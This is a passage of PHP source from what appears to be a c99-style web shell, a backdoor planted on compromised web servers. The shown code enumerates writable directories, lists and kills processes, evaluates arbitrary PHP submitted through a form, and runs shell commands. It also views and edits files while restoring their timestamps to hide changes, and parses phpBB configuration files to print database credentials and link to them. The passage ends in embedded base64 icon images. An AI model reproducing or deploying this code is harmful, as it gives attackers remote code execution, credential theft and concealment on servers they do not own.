  1959. if ($dir_count > $max_dir) { return; }
  1960. echo "[".$dir_count."] ".$dir.$entry."\n";
  1961. recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
  1962. }
  1963. }
  1964. }
  1965. $cdir->close();
  1966. }
  1967. }
  1968. if (!$arg1) { $arg1 = $d; }
  1969. if (!$arg2) { $arg2 = 10; }
  1970. if (is_dir($arg1)) {
  1971. echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>";
  1972. echo "<pre>";
  1973. recurse_dir($arg1,$arg2);
  1974. echo "</pre>";
  1975. $total = $dir_count - 1;
  1976. echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2";
  1977. }
  1978. else {
  1979. echo "<div class=fxerrmsg>Directory is not exist or permission denied!</div>";
  1980. }
  1981. }
  1982. else {
  1983. if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>\n"; }
  1984. else {
  1985. if ($hasil = $fsfunc($arg1)) {
  1986. echo "<b>Result of $fsfunc $arg1:</b><br>";
  1987. if (!is_array($hasil)) { echo "$hasil\n"; }
  1988. else {
  1989. echo "<pre>";
  1990. foreach ($hasil as $v) { echo $v."\n"; }
  1991. echo "</pre>";
  1992. }
  1993. }
  1994. else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; }
  1995. }
  1996. }
  1997. echo "</div>\n";
  1998. }
  1999. if ($act == "processes") {
  2000. echo "<div class=barheader>.: Processes :.</div>\n";
  2001. if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); }
  2002. else { $handler = "tasklist"; }
  2003. $ret = tpexec($handler);
  2004. if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
  2005. else {
  2006. if (empty($processes_sort)) { $processes_sort = $sort_default; }
  2007. $parsesort = parsesort($processes_sort);
  2008. if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  2009. $k = $parsesort[0];
  2010. if ($parsesort[1] != "a") {
  2011. $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>";
  2012. }
  2013. else {
  2014. $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
  2015. }
  2016. $ret = htmlspecialchars($ret);
  2017. if (!$win) { //Not Windows
  2018. if ($pid) {
  2019. if (is_null($sig)) { $sig = 9; }
  2020. echo "Sending signal ".$sig." to #".$pid."... ";
  2021. if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR."; }
  2022. }
  2023. while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
  2024. $stack = explode("\n",$ret);
  2025. $head = explode(" ",$stack[0]);
  2026. unset($stack[0]);
  2027. for($i=0;$i<count($head);$i++) {
  2028. if ($i != $k) {
  2029. $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";
  2030. }
  2031. }
  2032. $head[$i] = "";
  2033. $prcs = array();
  2034. foreach ($stack as $line) {
  2035. if (!empty($line)) {
  2036. $line = explode(" ",$line);
  2037. $line[10] = join(" ",array_slice($line,10));
  2038. $line = array_slice($line,0,11);
  2039. if ($line[0] == get_current_user()) { $line[0] = "<font color=green>".$line[0]."</font>"; }
  2040. $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
  2041. $prcs[] = $line;
  2042. }
  2043. }
  2044. }
  2045.  
  2046. else {
  2047. while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
  2048. while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); }
  2049. $ret = convert_cyr_string($ret,"d","w");
  2050. $stack = explode("\n",$ret);
  2051. unset($stack[0],$stack[2]);
  2052. $stack = array_values($stack);
  2053. $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
  2054. $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
  2055. $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
  2056. $head = explode(" ",$stack[0]);
  2057. $stack = array_slice($stack,1);
  2058. $head = array_values($head);
  2059. if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; }
  2060. else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; }
  2061. if ($k > count($head)) {$k = count($head)-1;}
  2062. for($i=0;$i<count($head);$i++) {
  2063. if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
  2064. }
  2065. $prcs = array();
  2066. unset($stack[0]);
  2067. foreach ($stack as $line) {
  2068. if (!empty($line)) {
  2069. $line = explode(" ",$line);
  2070. $line[4] = str_replace(".","",$line[4]);
  2071. $line[4] = intval($line[4]) * 1024;
  2072. unset($line[5]);
  2073. $prcs[] = $line;
  2074. }
  2075. }
  2076. }
  2077. $head[$k] = "<b>".$head[$k]."</b>".$y;
  2078. $v = $processes_sort[0];
  2079. usort($prcs,"tabsort");
  2080. if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); }
  2081. $tab = array();
  2082. $tab[] = $head;
  2083. $tab = array_merge($tab,$prcs);
  2084. echo "<table class=explorer>\n";
  2085. foreach($tab as $i=>$k) {
  2086. echo "<tr>";
  2087. foreach($k as $j=>$v) {
  2088. if ($win and $i > 0 and $j == 4) { $v = view_size($v); }
  2089. echo "<td>".$v."</td>";
  2090. }
  2091. echo "</tr>\n";
  2092. }
  2093. echo "</table>";
  2094. }
  2095. }
  2096. if ($act == "eval") {
  2097. if (!empty($eval)) {
  2098. echo "Result of execution this PHP-code:<br>";
  2099. $tmp = @ob_get_contents();
  2100. $olddir = realpath(".");
  2101. @chdir($d);
  2102. if ($tmp) {
  2103. @ob_clean();
  2104. eval($eval);
  2105. $ret = @ob_get_contents();
  2106. $ret = convert_cyr_string($ret,"d","w");
  2107. @ob_clean();
  2108. echo $tmp;
  2109. if ($eval_txt) {
  2110. $rows = count(explode("\r\n",$ret))+1;
  2111. if ($rows < 10) {$rows = 10;}
  2112. echo "<br><textarea cols=\"115\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  2113. }
  2114. else {echo $ret."<br>";}
  2115. }
  2116. else {
  2117. if ($eval_txt) {
  2118. echo "<br><textarea cols=\"115\" rows=\"15\" readonly>";
  2119. eval($eval);
  2120. echo "</textarea>";
  2121. }
  2122. else {echo $ret;}
  2123. }
  2124. @chdir($olddir);
  2125. }
  2126. else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  2127. echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"115\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  2128. }
  2129. if ($act == "f") {
  2130. echo "<div align=left>";
  2131. if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
  2132. if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  2133. else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  2134. }
  2135. else {
  2136. $r = @file_get_contents($d.$f);
  2137. $ext = explode(".",$f);
  2138. $c = count($ext)-1;
  2139. $ext = $ext[$c];
  2140. $ext = strtolower($ext);
  2141. $rft = "";
  2142. foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  2143. if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  2144. if (empty($ft)) {$ft = $rft;}
  2145. $arr = array(
  2146. array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
  2147. array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
  2148. array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
  2149. array("Code","code"),
  2150. array("Session","phpsess"),
  2151. array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
  2152. array("SDB","sdb"),
  2153. array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
  2154. array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
  2155. array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
  2156. array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
  2157. array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  2158. );
  2159. echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  2160. foreach($arr as $t) {
  2161. if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
  2162. elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  2163. else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  2164. echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  2165. }
  2166. echo "<hr size=\"1\" noshade>";
  2167. if ($ft == "info") {
  2168. echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  2169. if (!$win) {
  2170. echo "<tr><td><b>Owner/Group</b></td><td> ";
  2171. $ow = posix_getpwuid(fileowner($d.$f));
  2172. $gr = posix_getgrgid(filegroup($d.$f));
  2173. echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
  2174. }
  2175. echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
  2176. $fi = fopen($d.$f,"rb");
  2177. if ($fi) {
  2178. if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  2179. else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  2180. $n = 0;
  2181. $a0 = "00000000<br>";
  2182. $a1 = "";
  2183. $a2 = "";
  2184. for ($i=0; $i<strlen($str); $i++) {
  2185. $a1 .= sprintf("%02X",ord($str[$i]))." ";
  2186. switch (ord($str[$i])) {
  2187. case 0: $a2 .= "<font>0</font>"; break;
  2188. case 32:
  2189. case 10:
  2190. case 13: $a2 .= "&nbsp;"; break;
  2191. default: $a2 .= htmlspecialchars($str[$i]);
  2192. }
  2193. $n++;
  2194. if ($n == $hexdump_rows) {
  2195. $n = 0;
  2196. if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  2197. $a1 .= "<br>";
  2198. $a2 .= "<br>";
  2199. }
  2200. }
  2201. echo "<table border=1 bgcolor=#666666>".
  2202. "<tr><td bgcolor=#666666>".$a0."</td>".
  2203. "<td bgcolor=#000000>".$a1."</td>".
  2204. "<td bgcolor=#000000>".$a2."</td>".
  2205. "</tr></table><br>";
  2206. }
  2207. $encoded = "";
  2208. if ($base64 == 1) {
  2209. echo "<b>Base64 Encode</b><br>";
  2210. $encoded = base64_encode(file_get_contents($d.$f));
  2211. }
  2212. elseif($base64 == 2) {
  2213. echo "<b>Base64 Encode + Chunk</b><br>";
  2214. $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  2215. }
  2216. elseif($base64 == 3) {
  2217. echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  2218. $encoded = base64_encode(file_get_contents($d.$f));
  2219. $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  2220. }
  2221. elseif($base64 == 4) {
  2222. $text = file_get_contents($d.$f);
  2223. $encoded = base64_decode($text);
  2224. echo "<b>Base64 Decode";
  2225. if (base64_encode($encoded) != $text) {echo " (failed)";}
  2226. echo "</b><br>";
  2227. }
  2228. if (!empty($encoded))
  2229. {
  2230. echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  2231. }
  2232. echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  2233. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
  2234. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
  2235. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
  2236. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
  2237. <P>";
  2238. }
  2239. elseif ($ft == "html") {
  2240. if ($white) {@ob_clean();}
  2241. echo $r;
  2242. if ($white) {tpshexit();}
  2243. }
  2244. elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  2245. elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  2246. elseif ($ft == "phpsess") {
  2247. echo "<pre>";
  2248. $v = explode("|",$r);
  2249. echo $v[0]."<br>";
  2250. var_dump(unserialize($v[1]));
  2251. echo "</pre>";
  2252. }
  2253. elseif ($ft == "exe") {
  2254. $ext = explode(".",$f);
  2255. $c = count($ext)-1;
  2256. $ext = $ext[$c];
  2257. $ext = strtolower($ext);
  2258. $rft = "";
  2259. foreach($exeftypes as $k=>$v)
  2260. {
  2261. if (in_array($ext,$v)) {$rft = $k; break;}
  2262. }
  2263. $cmd = str_replace("%f%",$f,$rft);
  2264. echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  2265. }
  2266. elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  2267. elseif ($ft == "code") {
  2268. if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
  2269. $arr = explode("\n",$r);
  2270. if (count($arr == 18)) {
  2271. include($d.$f);
  2272. echo "<b>phpBB configuration is detected in this file!<br>";
  2273. if ($dbms == "mysql4") {$dbms = "mysql";}
  2274. if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  2275. else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
  2276. echo "Parameters for manual connect:<br>";
  2277. $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  2278. foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  2279. echo "</b><hr size=\"1\" noshade>";
  2280. }
  2281. }
  2282. echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  2283. if (!empty($white)) {@ob_clean();}
  2284. highlight_file($d.$f);
  2285. if (!empty($white)) {tpshexit();}
  2286. echo "</div>";
  2287. }
  2288. elseif ($ft == "download") {
  2289. @ob_clean();
  2290. header("Content-type: application/octet-stream");
  2291. header("Content-length: ".filesize($d.$f));
  2292. header("Content-disposition: attachment; filename=\"".$f."\";");
  2293. echo $r;
  2294. exit;
  2295. }
  2296. elseif ($ft == "notepad") {
  2297. @ob_clean();
  2298. header("Content-type: text/plain");
  2299. header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  2300. echo($r);
  2301. exit;
  2302. }
  2303. elseif ($ft == "img") {
  2304. $inf = getimagesize($d.$f);
  2305. if (!$white) {
  2306. if (empty($imgsize)) {$imgsize = 20;}
  2307. $width = $inf[0]/100*$imgsize;
  2308. $height = $inf[1]/100*$imgsize;
  2309. echo "<center><b>Size:</b>&nbsp;";
  2310. $sizes = array("100","50","20");
  2311. foreach ($sizes as $v) {
  2312. echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  2313. if ($imgsize != $v ) {echo $v;}
  2314. else {echo "<u>".$v."</u>";}
  2315. echo "</a>&nbsp;&nbsp;&nbsp;";
  2316. }
  2317. echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  2318. }
  2319. else {
  2320. @ob_clean();
  2321. $ext = explode($f,".");
  2322. $ext = $ext[count($ext)-1];
  2323. header("Content-type: ".$inf["mime"]);
  2324. readfile($d.$f);
  2325. exit;
  2326. }
  2327. }
  2328. elseif ($ft == "edit") {
  2329. if (!empty($submit))
  2330. {
  2331. if ($filestealth) {$stat = stat($d.$f);}
  2332. $fp = fopen($d.$f,"w");
  2333. if (!$fp) {echo "<b>Can't write to file!</b>";}
  2334. else
  2335. {
  2336. echo "<b>Saved!</b>";
  2337. fwrite($fp,$edit_text);
  2338. fclose($fp);
  2339. if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  2340. $r = $edit_text;
  2341. }
  2342. }
  2343. $rows = count(explode("\r\n",$r));
  2344. if ($rows < 10) {$rows = 10;}
  2345. if ($rows > 30) {$rows = 30;}
  2346. echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  2347. }
  2348. elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  2349. else {echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>";}
  2350. }
  2351. echo "</div>\n";
  2352. }
  2353. }
  2354. else {
  2355. @ob_clean();
  2356. $images = array(
  2357. "arrow_ltr"=>
  2358. "R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
  2359. "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
  2360. "back"=>
  2361. "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2362. "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
  2363. "Wg0JADs=",
  2364. "buffer"=>
  2365. "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
  2366. "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
  2367. "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
  2368. "change"=>
  2369. "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
  2370. "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
  2371. "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
  2372. "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
  2373. "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
  2374. "zMshADs=",
  2375. "delete"=>
  2376. "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
  2377. "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
  2378. "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
  2379. "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
  2380. "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
  2381. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2382. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
  2383. "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
  2384. "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
  2385. "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
  2386. "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
  2387. "download"=>
  2388. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  2389. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  2390. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  2391. "forward"=>
  2392. "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2393. "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
  2394. "WqsJADs=",
  2395. "home"=>
  2396. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
  2397. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
  2398. "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
  2399. "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
  2400. "mode"=>
  2401. "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
  2402. "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
  2403. "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
  2404. "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
  2405. "search"=>
  2406. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
  2407. "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
  2408. "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
  2409. "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
  2410. "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
  2411. "setup"=>
  2412. "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
  2413. "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2414. "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
  2415. "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
  2416. "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
  2417. "small_dir"=>
  2418. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  2419. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  2420. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  2421. "small_unk"=>
  2422. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  2423. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  2424. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  2425. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
  2426. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
  2427. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
  2428. "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
  2429. "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
  2430. "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
